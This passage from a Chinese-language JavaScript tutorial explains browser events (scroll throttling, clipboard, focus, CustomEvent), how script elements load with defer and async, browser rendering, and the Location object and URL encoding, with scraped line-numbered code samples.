11
12
13
14
15
16
17
18
19
20
21
22
(function () {
var throttle = function (type, name, obj) {
var obj = obj || window;
var running = false;
var func = function () {
if (running) { return; }
running = true;
requestAnimationFrame(function() {
obj.dispatchEvent(new CustomEvent(name));
running = false;
});
};
obj.addEventListener(type, func);
};

// 将 scroll 事件重定义为 optimizedScroll 事件
throttle('scroll', 'optimizedScroll');
})();

window.addEventListener('optimizedScroll', function() {
console.log('Resource conscious scroll callback!');
});

上面代码中,throttle函数用于控制事件触发频率,requestAnimationFrame方法保证每次页面重绘(每秒60次),只会触发一次scroll事件的监听函数。也就是说,上面方法将scroll事件的触发频率,限制在每秒60次。具体来说,就是scroll事件只要频率低于每秒60次,就会触发optimizedScroll事件,从而执行optimizedScroll事件的监听函数。

改用setTimeout方法,可以放置更大的时间间隔。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(function() {
window.addEventListener('scroll', scrollThrottler, false);

var scrollTimeout;
function scrollThrottler() {
if (!scrollTimeout) {
scrollTimeout = setTimeout(function () {
scrollTimeout = null;
actualScrollHandler();
}, 66);
}
}

function actualScrollHandler() {
// ...
}
}());

上面代码中,每次scroll事件都会执行scrollThrottler函数。该函数里面有一个定时器setTimeout,每66毫秒触发一次(每秒15次)真正执行的任务actualScrollHandler

下面是一个更一般的throttle函数的写法。

1
2
3
4
5
6
7
8
9
10
11
function throttle(fn, wait) {
var time = Date.now();
return function() {
if ((time + wait - Date.now()) < 0) {
fn();
time = Date.now();
}
}
}

window.addEventListener('scroll', throttle(callback, 1000));

上面的代码将scroll事件的触发频率,限制在一秒一次。

lodash函数库提供了现成的throttle函数,可以直接使用。

1
window.addEventListener('scroll', _.throttle(callback, 1000));

本书前面介绍过debounce的概念,throttle与它区别在于,throttle是“节流”,确保一段时间内只执行一次,而debounce是“防抖”,要连续操作结束后再执行。以网页滚动为例,debounce要等到用户停止滚动后才执行,throttle则是如果用户一直在滚动网页,那么在滚动过程中还是会执行。

resize 事件

resize事件在改变浏览器窗口大小时触发,主要发生在window对象上面。

1
2
3
4
5
6
7
var resizeMethod = function () {
if (document.body.clientWidth < 768) {
console.log('移动设备的视口');
}
};

window.addEventListener('resize', resizeMethod, true);

该事件也会连续地大量触发,所以最好像上面的scroll事件一样,通过throttle函数控制事件触发频率。

fullscreenchange 事件,fullscreenerror 事件

fullscreenchange事件在进入或退出全屏状态时触发,该事件发生在document对象上面。

1
2
3
document.addEventListener('fullscreenchange', function (event) {
console.log(document.fullscreenElement);
});

fullscreenerror事件在浏览器无法切换到全屏状态时触发。

剪贴板事件

以下三个事件属于剪贴板操作的相关事件。

  • cut:将选中的内容从文档中移除,加入剪贴板时触发。
  • copy:进行复制动作时触发。
  • paste:剪贴板内容粘贴到文档后触发。

这三个事件都是ClipboardEvent接口的实例。ClipboardEvent有一个实例属性clipboardData,是一个 DataTransfer 对象,存放剪贴的数据。具体的 API 接口和操作方法,请参见《拖拉事件》的 DataTransfer 对象部分。

1
2
3
4
5
document.addEventListener('copy', function (e) {
e.clipboardData.setData('text/plain', 'Hello, world!');
e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
e.preventDefault();
});

上面的代码使得复制进入剪贴板的,都是开发者指定的数据,而不是用户想要拷贝的数据。

焦点事件

焦点事件发生在元素节点和document对象上面,与获得或失去焦点相关。它主要包括以下四个事件。

  • focus:元素节点获得焦点后触发,该事件不会冒泡。
  • blur:元素节点失去焦点后触发,该事件不会冒泡。
  • focusin:元素节点将要获得焦点时触发,发生在focus事件之前。该事件会冒泡。
  • focusout:元素节点将要失去焦点时触发,发生在blur事件之前。该事件会冒泡。

这四个事件都继承了FocusEvent接口。FocusEvent实例具有以下属性。

  • FocusEvent.target:事件的目标节点。
  • FocusEvent.relatedTarget:对于focusin事件,返回失去焦点的节点;对于focusout事件,返回将要接受焦点的节点;对于focusblur事件,返回null

由于focusblur事件不会冒泡,只能在捕获阶段触发,所以addEventListener方法的第三个参数需要设为true

1
2
3
4
5
6
7
form.addEventListener('focus', function (event) {
event.target.style.background = 'pink';
}, true);

form.addEventListener('blur', function (event) {
event.target.style.background = '';
}, true);

上面代码针对表单的文本输入框,接受焦点时设置背景色,失去焦点时去除背景色。

CustomEvent 接口

CustomEvent 接口用于生成自定义的事件实例。那些浏览器预定义的事件,虽然可以手动生成,但是往往不能在事件上绑定数据。如果需要在触发事件的同时,传入指定的数据,就可以使用 CustomEvent 接口生成的自定义事件对象。

浏览器原生提供CustomEvent()构造函数,用来生成 CustomEvent 事件实例。

1
new CustomEvent(type, options)

CustomEvent()构造函数接受两个参数。第一个参数是字符串,表示事件的名字,这是必须的。第二个参数是事件的配置对象,这个参数是可选的。CustomEvent的配置对象除了接受 Event 事件的配置属性,只有一个自己的属性。

  • detail:表示事件的附带数据,默认为null

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
var event = new CustomEvent('build', { 'detail': 'hello' });

function eventHandler(e) {
console.log(e.detail);
}

document.body.addEventListener('build', function (e) {
console.log(e.detail);
});

document.body.dispatchEvent(event);

上面代码中,我们手动定义了build事件。该事件触发后,会被监听到,从而输出该事件实例的detail属性(即字符串hello)。

下面是另一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
var myEvent = new CustomEvent('myevent', {
detail: {
foo: 'bar'
},
bubbles: true,
cancelable: false
});

el.addEventListener('myevent', function (event) {
console.log('Hello ' + event.detail.foo);
});

el.dispatchEvent(myEvent);

上面代码也说明,CustomEvent 的事件实例,除了具有 Event 接口的实例属性,还具有detail属性。

GlobalEventHandlers 接口

指定事件的回调函数,推荐使用的方法是元素的addEventListener方法。

1
div.addEventListener('click', clickHandler, false);

除了之外,还有一种方法可以直接指定事件的回调函数。

1
div.onclick = clickHandler;

这个接口是由GlobalEventHandlers接口提供的。它的优点是使用比较方便,缺点是只能为每个事件指定一个回调函数,并且无法指定事件触发的阶段(捕获阶段还是冒泡阶段)。

HTMLElementDocumentWindow都继承了这个接口,也就是说,各种 HTML 元素、document对象、window对象上面都可以使用GlobalEventHandlers接口提供的属性。下面就列出这个接口提供的主要的事件属性。

GlobalEventHandlers.onabort

某个对象的abort事件(停止加载)发生时,就会调用onabort属性指定的回调函数。

各种元素的停止加载事件,到底如何触发,目前并没有统一的规定。因此实际上,这个属性现在一般只用在<img>元素上面。

1
2
3
4
5
6
// HTML 代码如下
// <img src="example.jpg" id="img">
var img = document.getElementById('img');
img.onabort = function () {
console.log('image load aborted.');
}

GlobalEventHandlers.onerror

error事件发生时,就会调用onerror属性指定的回调函数。

error事件分成两种。

一种是 JavaScript 的运行时错误,这会传到window对象,导致window.onerror()

1
2
3
window.onerror = function (message, source, lineno, colno, error) {
// ...
}

window.onerror的处理函数共接受五个参数,含义如下。

  • message:错误信息字符串
  • source:报错脚本的 URL
  • lineno:报错的行号,是一个整数
  • colno:报错的列号,是一个整数
  • error: 错误对象

另一种是资源加载错误,比如<img><script>加载的资源出现加载错误。这时,Error 对象会传到对应的元素,导致该元素的onerror属性开始执行。

1
2
3
element.onerror = function (event) {
// ...
}

注意,一般来说,资源的加载错误不会触发window.onerror

GlobalEventHandlers.onload、GlobalEventHandlers.onloadstart

元素完成加载时,会触发load事件,执行onload()。它的典型使用场景是window对象和<img>元素。对于window对象来说,只有页面的所有资源加载完成(包括图片、脚本、样式表、字体等所有外部资源),才会触发load事件。

对于<img><video>等元素,加载开始时还会触发loadstart事件,导致执行onloadstart

GlobalEventHandlers.onfocus,GlobalEventHandlers.onblur

当前元素获得焦点时,会触发element.onfocus;失去焦点时,会触发element.onblur

1
2
3
4
5
6
element.onfocus = function () {
console.log("onfocus event detected!");
};
element.onblur = function () {
console.log("onblur event detected!");
};

注意,如果不是可以接受用户输入的元素,要触发onfocus,该元素必须有tabindex属性。

GlobalEventHandlers.onscroll

页面或元素滚动时,会触发scroll事件,导致执行onscroll()

GlobalEventHandlers.oncontextmenu,GlobalEventHandlers.onshow

用户在页面上按下鼠标的右键,会触发contextmenu事件,导致执行oncontextmenu()。如果该属性执行后返回false,就等于禁止了右键菜单。document.oncontextmenuwindow.oncontextmenu效果一样。

1
2
3
document.oncontextmenu = function () {
return false;
};

上面代码中,oncontextmenu属性执行后返回false,右键菜单就不会出现。

元素的右键菜单显示时,会触发该元素的onshow监听函数。

其他的事件属性

鼠标的事件属性。

  • onclick
  • ondblclick
  • onmousedown
  • onmouseenter
  • onmouseleave
  • onmousemove
  • onmouseout
  • onmouseover
  • onmouseup
  • onwheel

键盘的事件属性。

  • onkeydown
  • onkeypress
  • onkeyup

焦点的事件属性。

  • onblur
  • onfocus

表单的事件属性。

  • oninput
  • onchange
  • onsubmit
  • onreset
  • oninvalid
  • onselect

触摸的事件属性。

  • ontouchcancel
  • ontouchend
  • ontouchmove
  • ontouchstart

拖动的事件属性分成两类:一类与被拖动元素相关,另一类与接收被拖动元素的容器元素相关。

被拖动元素的事件属性。

  • ondragstart:拖动开始
  • ondrag:拖动过程中,每隔几百毫秒触发一次
  • ondragend:拖动结束

接收被拖动元素的容器元素的事件属性。

  • ondragenter:被拖动元素进入容器元素。
  • ondragleave:被拖动元素离开容器元素。
  • ondragover:被拖动元素在容器元素上方,每隔几百毫秒触发一次。
  • ondrop:松开鼠标后,被拖动元素放入容器元素。

<dialog>对话框元素的事件属性。

  • oncancel
  • onclose

浏览器模型

浏览器环境概述

JavaScript 是浏览器的内置脚本语言。也就是说,浏览器内置了 JavaScript 引擎,并且提供各种接口,让 JavaScript 脚本可以控制浏览器的各种功能。一旦网页内嵌了 JavaScript 脚本,浏览器加载网页,就会去执行脚本,从而达到操作浏览器的目的,实现网页的各种动态效果。

本章开始介绍浏览器提供的各种 JavaScript 接口。首先,介绍 JavaScript 代码嵌入网页的方法。

代码嵌入网页的方法

网页中嵌入 JavaScript 代码,主要有三种方法。

  • <script>元素直接嵌入代码。
  • <script>标签加载外部脚本
  • 事件属性
  • URL 协议

script 元素嵌入代码

<script>元素内部可以直接写 JavaScript 代码。

1
2
3
4
<script>
var x = 1 + 5;
console.log(x);
</script>

<script>标签有一个type属性,用来指定脚本类型。对 JavaScript 脚本来说,type属性可以设为两种值。

  • text/javascript:这是默认值,也是历史上一贯设定的值。如果你省略type属性,默认就是这个值。对于老式浏览器,设为这个值比较好。
  • application/javascript:对于较新的浏览器,建议设为这个值。
1
2
3
<script type="application/javascript">
console.log('Hello World');
</script>

由于<script>标签默认就是 JavaScript 代码。所以,嵌入 JavaScript 脚本时,type属性可以省略。

如果type属性的值,浏览器不认识,那么它不会执行其中的代码。利用这一点,可以在<script>标签之中嵌入任意的文本内容,只要加上一个浏览器不认识的type属性即可。

1
2
3
<script id="mydata" type="x-custom-data">
console.log('Hello World');
</script>

上面的代码,浏览器不会执行,也不会显示它的内容,因为不认识它的type属性。但是,这个<script>节点依然存在于 DOM 之中,可以使用<script>节点的text属性读出它的内容。

1
2
document.getElementById('mydata').text
// console.log('Hello World');

script 元素加载外部脚本

<script>标签也可以指定加载外部的脚本文件。

1
<script src="https://www.example.com/script.js"></script>

如果脚本文件使用了非英语字符,还应该注明字符的编码。

1
<script charset="utf-8" src="https://www.example.com/script.js"></script>

所加载的脚本必须是纯的 JavaScript 代码,不能有HTML代码和<script>标签。

加载外部脚本和直接添加代码块,这两种方法不能混用。下面代码的console.log语句直接被忽略。

1
2
3
<script charset="utf-8" src="example.js">
console.log('Hello World!');
</script>

为了防止攻击者篡改外部脚本,script标签允许设置一个integrity属性,写入该外部脚本的 Hash 签名,用来验证脚本的一致性。

1
2
3
<script src="/assets/application.js"
integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs=">
</script>

上面代码中,script标签有一个integrity属性,指定了外部脚本/assets/application.js的 SHA256 签名。一旦有人改了这个脚本,导致 SHA256 签名不匹配,浏览器就会拒绝加载。

事件属性

网页元素的事件属性(比如onclickonmouseover),可以写入 JavaScript 代码。当指定事件发生时,就会调用这些代码。

1
<button id="myBtn" onclick="console.log(this.id)">点击</button>

上面的事件属性代码只有一个语句。如果有多个语句,使用分号分隔即可。

URL 协议

URL 支持javascript:协议,即在 URL 的位置写入代码,使用这个 URL 的时候就会执行 JavaScript 代码。

1
<a href="javascript:console.log('Hello')">点击</a>

浏览器的地址栏也可以执行javascript:协议。将javascript:console.log('Hello')放入地址栏,按回车键也会执行这段代码。

如果 JavaScript 代码返回一个字符串,浏览器就会新建一个文档,展示这个字符串的内容,原有文档的内容都会消失。

1
<a href="javascript: new Date().toLocaleTimeString();">点击</a>

上面代码中,用户点击链接以后,会打开一个新文档,里面有当前时间。

如果返回的不是字符串,那么浏览器不会新建文档,也不会跳转。

1
<a href="javascript: console.log(new Date().toLocaleTimeString())">点击</a>

上面代码中,用户点击链接后,网页不会跳转,只会在控制台显示当前时间。

javascript:协议的常见用途是书签脚本 Bookmarklet。由于浏览器的书签保存的是一个网址,所以javascript:网址也可以保存在里面,用户选择这个书签的时候,就会在当前页面执行这个脚本。为了防止书签替换掉当前文档,可以在脚本前加上void,或者在脚本最后加上void 0

1
2
<a href="javascript: void new Date().toLocaleTimeString();">点击</a>
<a href="javascript: new Date().toLocaleTimeString();void 0;">点击</a>

上面这两种写法,点击链接后,执行代码都不会网页跳转。

script 元素

工作原理

浏览器加载 JavaScript 脚本,主要通过<script>元素完成。正常的网页加载流程是这样的。

  1. 浏览器一边下载 HTML 网页,一边开始解析。也就是说,不等到下载完,就开始解析。
  2. 解析过程中,浏览器发现<script>元素,就暂停解析,把网页渲染的控制权转交给 JavaScript 引擎。
  3. 如果<script>元素引用了外部脚本,就下载该脚本再执行,否则就直接执行代码。
  4. JavaScript 引擎执行完毕,控制权交还渲染引擎,恢复往下解析 HTML 网页。

加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是 JavaScript 代码可以修改 DOM,所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。

如果外部脚本加载时间很长(一直无法完成下载),那么浏览器就会一直等待脚本下载完成,造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。

为了避免这种情况,较好的做法是将<script>标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面。如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码写入页面,而不是连接外部脚本文件,这样能缩短加载时间。

脚本文件都放在网页尾部加载,还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点,JavaScript 会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时 DOM 肯定已经生成了。

1
2
3
4
5
6
7
<head>
<script>
console.log(document.body.innerHTML);
</script>
</head>
<body>
</body>

上面代码执行时会报错,因为此时document.body元素还未生成。

一种解决方法是设定DOMContentLoaded事件的回调函数。

1
2
3
4
5
6
7
8
9
10
<head>
<script>
document.addEventListener(
'DOMContentLoaded',
function (event) {
console.log(document.body.innerHTML);
}
);
</script>
</head>

上面代码中,指定DOMContentLoaded事件发生后,才开始执行相关代码。DOMContentLoaded事件只有在 DOM 结构生成之后才会触发。

另一种解决方法是,使用<script>标签的onload属性。当<script>标签指定的外部脚本文件下载和解析完成,会触发一个load事件,可以把所需执行的代码,放在这个事件的回调函数里面。

1
2
<script src="jquery.min.js" onload="console.log(document.body.innerHTML)">
</script>

但是,如果将脚本放在页面底部,就可以完全按照正常的方式写,上面两种方式都不需要。

1
2
3
4
5
6
<body>
<!-- 其他代码 -->
<script>
console.log(document.body.innerHTML);
</script>
</body>

如果有多个script标签,比如下面这样。

1
2
<script src="a.js"></script>
<script src="b.js"></script>

浏览器会同时并行下载a.jsb.js,但是,执行时会保证先执行a.js,然后再执行b.js,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。

解析和执行 CSS,也会产生阻塞。Firefox 浏览器会等到脚本前面的所有样式表,都下载并解析完,再执行脚本;Webkit则是一旦发现脚本引用了样式,就会暂停执行脚本,等到样式表下载并解析完,再恢复执行。

此外,对于来自同一个域名的资源,比如脚本文件、样式表文件、图片文件等,浏览器一般有限制,同时最多下载6~20个资源,即最多同时打开的 TCP 连接有限制,这是为了防止对服务器造成太大压力。如果是来自不同域名的资源,就没有这个限制。所以,通常把静态文件放在不同的域名之下,以加快下载速度。

defer 属性

为了解决脚本文件下载阻塞网页渲染的问题,一个方法是对<script>元素加入defer属性。它的作用是延迟脚本的执行,等到 DOM 加载生成后,再执行脚本。

1
2
<script src="a.js" defer></script>
<script src="b.js" defer></script>

上面代码中,只有等到 DOM 加载完成后,才会执行a.jsb.js

defer属性的运行流程如下。

  1. 浏览器开始解析 HTML 网页。
  2. 解析过程中,发现带有defer属性的<script>元素。
  3. 浏览器继续往下解析 HTML 网页,同时并行下载<script>元素加载的外部脚本。
  4. 浏览器完成解析 HTML 网页,此时再回过头执行已经下载完成的脚本。

有了defer属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded事件触发前执行(即刚刚读取完</html>标签),而且可以保证执行顺序就是它们在页面上出现的顺序。

对于内置而不是加载外部脚本的script标签,以及动态生成的script标签,defer属性不起作用。另外,使用defer加载的外部脚本不应该使用document.write方法。

async 属性

解决“阻塞效应”的另一个方法是对<script>元素加入async属性。

1
2
<script src="a.js" async></script>
<script src="b.js" async></script>

async属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。

  1. 浏览器开始解析 HTML 网页。
  2. 解析过程中,发现带有async属性的script标签。
  3. 浏览器继续往下解析 HTML 网页,同时并行下载<script>标签中的外部脚本。
  4. 脚本下载完成,浏览器暂停解析 HTML 网页,开始执行下载的脚本。
  5. 脚本执行完毕,浏览器恢复解析 HTML 网页。

async属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async属性的脚本文件里面的代码,不应该使用document.write方法。

defer属性和async属性到底应该使用哪一个?

一般来说,如果脚本之间没有依赖关系,就使用async属性,如果脚本之间有依赖关系,就使用defer属性。如果同时使用asyncdefer属性,后者不起作用,浏览器行为由async属性决定。

脚本的动态加载

<script>元素还可以动态生成,生成后再插入页面,从而实现脚本的动态加载。

1
2
3
4
5
['a.js', 'b.js'].forEach(function(src) {
var script = document.createElement('script');
script.src = src;
document.head.appendChild(script);
});

这种方法的好处是,动态生成的script标签不会阻塞页面渲染,也就不会造成浏览器假死。但是问题在于,这种方法无法保证脚本的执行顺序,哪个脚本文件先下载完成,就先执行哪个。

如果想避免这个问题,可以设置async属性为false

1
2
3
4
5
6
['a.js', 'b.js'].forEach(function(src) {
var script = document.createElement('script');
script.src = src;
script.async = false;
document.head.appendChild(script);
});

上面的代码不会阻塞页面渲染,而且可以保证b.jsa.js后面执行。不过需要注意的是,在这段代码后面加载的脚本文件,会因此都等待b.js执行完成后再执行。

如果想为动态加载的脚本指定回调函数,可以使用下面的写法。

1
2
3
4
5
6
7
8
9
10
11
function loadScript(src, done) {
var js = document.createElement('script');
js.src = src;
js.onload = function() {
done();
};
js.onerror = function() {
done(new Error('Failed to load script ' + src));
};
document.head.appendChild(js);
}

加载使用的协议

如果不指定协议,浏览器默认采用 HTTP 协议下载。

1
<script src="example.js"></script>

上面的example.js默认就是采用 HTTP 协议下载,如果要采用 HTTPS 协议下载,必需写明。

1
<script src="https://example.js"></script>

但是有时我们会希望,根据页面本身的协议来决定加载协议,这时可以采用下面的写法。

1
<script src="//example.js"></script>

浏览器的组成

浏览器的核心是两部分:渲染引擎和 JavaScript 解释器(又称 JavaScript 引擎)。

渲染引擎

渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。

不同的浏览器有不同的渲染引擎。

  • Firefox:Gecko 引擎
  • Safari:WebKit 引擎
  • Chrome:Blink 引擎
  • IE: Trident 引擎
  • Edge: EdgeHTML 引擎

渲染引擎处理网页,通常分成四个阶段。

  1. 解析代码:HTML 代码解析为 DOM,CSS 代码解析为 CSSOM(CSS Object Model)。
  2. 对象合成:将 DOM 和 CSSOM 合成一棵渲染树(render tree)。
  3. 布局:计算出渲染树的布局(layout)。
  4. 绘制:将渲染树绘制到屏幕。

以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的 HTML 代码还没下载完,但浏览器已经显示出内容了。

重流和重绘

渲染树转换为网页布局,称为“布局流”(flow);布局显示到页面的这个过程,称为“绘制”(paint)。它们都具有阻塞效应,并且会耗费很多时间和计算资源。

页面生成以后,脚本操作和样式表操作,都会触发“重流”(reflow)和“重绘”(repaint)。用户的互动也会触发重流和重绘,比如设置了鼠标悬停(a:hover)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。

重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。

大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。

作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的 DOM 元素,而以底层 DOM 元素的变动代替;再比如,重绘table布局和flex布局,开销都会比较大。

1
2
3
4
var foo = document.getElementById('foobar');

foo.style.color = 'blue';
foo.style.marginTop = '30px';

上面的代码只会导致一次重绘,因为浏览器会累积 DOM 变动,然后一次性执行。

下面是一些优化技巧。

  • 读取 DOM 或者写入 DOM,尽量写在一起,不要混杂。不要读取一个 DOM 节点,然后立刻写入,接着再读取一个 DOM 节点。
  • 缓存 DOM 信息。
  • 不要一项一项地改变样式,而是使用 CSS class 一次性改变样式。
  • 使用documentFragment操作 DOM
  • 动画使用absolute定位或fixed定位,这样可以减少对其他元素的影响。
  • 只在必要时才显示隐藏元素。
  • 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流。
  • 使用虚拟 DOM(virtual DOM)库。

下面是一个window.requestAnimationFrame()对比效果的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 重绘代价高
function doubleHeight(element) {
var currentHeight = element.clientHeight;
element.style.height = (currentHeight * 2) + 'px';
}

all_my_elements.forEach(doubleHeight);

// 重绘代价低
function doubleHeight(element) {
var currentHeight = element.clientHeight;

window.requestAnimationFrame(function () {
element.style.height = (currentHeight * 2) + 'px';
});
}

all_my_elements.forEach(doubleHeight);

上面的第一段代码,每读一次 DOM,就写入新的值,会造成不停的重排和重流。第二段代码把所有的写操作,都累积在一起,从而 DOM 代码变动的代价就最小化了。

JavaScript 引擎

JavaScript 引擎的主要作用是,读取网页中的 JavaScript 代码,对其处理后运行。

JavaScript 是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。

为了提高运行速度,目前的浏览器都将 JavaScript 进行一定程度的编译,生成类似字节码(bytecode)的中间代码,以提高运行速度。

早期,浏览器内部对 JavaScript 的处理过程如下:

  1. 读取代码,进行词法分析(Lexical analysis),将代码分解成词元(token)。
  2. 对词元进行语法分析(parsing),将代码整理成“语法树”(syntax tree)。
  3. 使用“翻译器”(translator),将代码转为字节码(bytecode)。
  4. 使用“字节码解释器”(bytecode interpreter),将字节码转为机器码。

逐行解释将字节码转为机器码,是很低效的。为了提高运行速度,现代浏览器改为采用“即时编译”(Just In Time compiler,缩写 JIT),即字节码只在运行时编译,用到哪一行就编译哪一行,并且把编译结果缓存(inline cache)。通常,一个程序被经常用到的,只是其中一小部分代码,有了缓存的编译结果,整个程序的运行速度就会显著提升。

字节码不能直接运行,而是运行在一个虚拟机(Virtual Machine)之上,一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码,有的 JavaScript 虚拟机基于源码,即只要有可能,就通过 JIT(just in time)编译器直接把源码编译成机器码运行,省略字节码步骤。这一点与其他采用虚拟机(比如 Java)的语言不尽相同。这样做的目的,是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机:

参考链接

Location 对象,URL 对象,URLSearchParams 对象

URL 是互联网的基础设施之一。浏览器提供了一些原生对象,用来管理 URL。

Location 对象

Location对象是浏览器提供的原生对象,提供 URL 相关的信息和操作方法。通过window.locationdocument.location属性,可以拿到这个对象。

属性

Location对象提供以下属性。

  • Location.href:整个 URL。
  • Location.protocol:当前 URL 的协议,包括冒号(:)。
  • Location.host:主机,包括冒号(:)和端口(默认的80端口和443端口会省略)。
  • Location.hostname:主机名,不包括端口。
  • Location.port:端口号。
  • Location.pathname:URL 的路径部分,从根路径/开始。
  • Location.search:查询字符串部分,从问号?开始。
  • Location.hash:片段字符串部分,从#开始。
  • Location.username:域名前面的用户名。
  • Location.password:域名前面的密码。
  • Location.origin:URL 的协议、主机名和端口。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 当前网址为
// http://user:passwd@www.example.com:4097/path/a.html?x=111#part1
document.location.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
document.location.protocol
// "http:"
document.location.host
// "www.example.com:4097"
document.location.hostname
// "www.example.com"
document.location.port
// "4097"
document.location.pathname
// "/path/a.html"
document.location.search
// "?x=111"
document.location.hash
// "#part1"
document.location.username
// "user"
document.location.password
// "passwd"
document.location.origin
// "http://user:passwd@www.example.com:4097"

这些属性里面,只有origin属性是只读的,其他属性都可写。

注意,如果对Location.href写入新的 URL 地址,浏览器会立刻跳转到这个新地址。

1
2
// 跳转到新网址
document.location.href = 'http://www.example.com';

这个特性常常用于让网页自动滚动到新的锚点。

1
2
3
document.location.href = '#top';
// 等同于
document.location.hash = '#top';

直接改写location,相当于写入href属性。

1
2
3
document.location = 'http://www.example.com';
// 等同于
document.location.href = 'http://www.example.com';

另外,Location.href属性是浏览器唯一允许跨域写入的属性,即非同源的窗口可以改写另一个窗口(比如子窗口与父窗口)的Location.href属性,导致后者的网址跳转。Location的其他属性都不允许跨域写入。

方法

(1)Location.assign()

assign方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。

1
2
// 跳转到新的网址
document.location.assign('http://www.example.com')

(2)Location.replace()

replace方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。

它与assign方法的差异在于,replace会在浏览器的浏览历史History里面删除当前网址,也就是说,一旦使用了该方法,后退按钮就无法回到当前网页了,相当于在浏览历史里面,使用新的 URL 替换了老的 URL。它的一个应用是,当脚本发现当前是移动设备时,就立刻跳转到移动版网页。

1
2
// 跳转到新的网址
document.location.replace('http://www.example.com')

(3)Location.reload()

reload方法使得浏览器重新加载当前网址,相当于按下浏览器的刷新按钮。

它接受一个布尔值作为参数。如果参数为true,浏览器将向服务器重新请求这个网页,并且重新加载后,网页将滚动到头部(即scrollTop === 0)。如果参数是false或为空,浏览器将从本地缓存重新加载该网页,并且重新加载后,网页的视口位置是重新加载前的位置。

1
2
// 向服务器重新请求当前网址
window.location.reload(true);

(4)Location.toString()

toString方法返回整个 URL 字符串,相当于读取Location.href属性。

URL 的编码和解码

网页的 URL 只能包含合法的字符。合法字符分成两类。

  • URL 元字符:分号(;),逗号(,),斜杠(/),问号(?),冒号(:),at(@),&,等号(=),加号(+),美元符号($),井号(#
  • 语义字符:a-zA-Z0-9,连词号(-),下划线(_),点(.),感叹号(!),波浪线(~),星号(*),单引号('),圆括号(()

除了以上字符,其他字符出现在 URL 之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%)加上两个大写的十六进制字母。

比如,UTF-8 的操作系统上,http://www.example.com/q=春节这个 URL 之中,汉字“春节”不是 URL 的合法字符,所以被浏览器自动转成http://www.example.com/q=%E6%98%A5%E8%8A%82。其中,“春”转成了%E6%98%A5,“节”转成了%E8%8A%82。这是因为“春”和“节”的 UTF-8 编码分别是E6 98 A5E8 8A 82,将每个字节前面加上百分号,就构成了 URL 编码。

JavaScript 提供四个 URL 的编码/解码方法。

  • encodeURI()
  • encodeURIComponent()
  • decodeURI()
  • decodeURIComponent()

encodeURI()

encodeURI()方法用于转码整个 URL。它的参数是一个字符串,代表整个 URL。它会将元字符和语义字符之外的字符,都进行转义。

1
2
encodeURI('http://www.example.com/q=春节')
// "http://www.example.com/q=%E6%98%A5%E8%8A%82"

encodeURIComponent()

encodeURIComponent()方法用于转码 URL 的组成部分,会转码除了语义字符之外的所有字符,即元字符也会被转码。所以,它不能用于转码整个 URL。它接受一个参数,就是 URL 的片段。

1
2
3
4
encodeURIComponent('春节')
// "%E6%98%A5%E8%8A%82"
encodeURIComponent('http://www.example.com/q=春节')
// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"

上面代码中,encodeURIComponent()会连 URL 元字符一起转义,所以如果转码整个 URL 就会出错。

decodeURI()

decodeURI()方法用于整个 URL 的解码。它是encodeURI()方法的逆运算。它接受一个参数,就是转码后的 URL。

1
2
decodeURI('http://www.example.com/q=%E6%98%A5%E8%8A%82')
// "http://www.example.com/q=春节"

decodeURIComponent()

decodeURIComponent()用于URL 片段的解码。它是encodeURIComponent()方法的逆运算。它接受一个参数,就是转码后的 URL 片段。

1
2
decodeURIComponent('%E6%98%A5%E8%8A%82')
// "春节"

URL 对象

URL对象是浏览器的原生对象,可以用来构造、解析和编码 URL。一般情况下,通过window.URL可以拿到这个对象。

<a>元素和<area>元素都部署了这个接口。这就是说,它们的 DOM 节点对象可以使用 URL 的实例属性和方法。

1
2
3
4
5
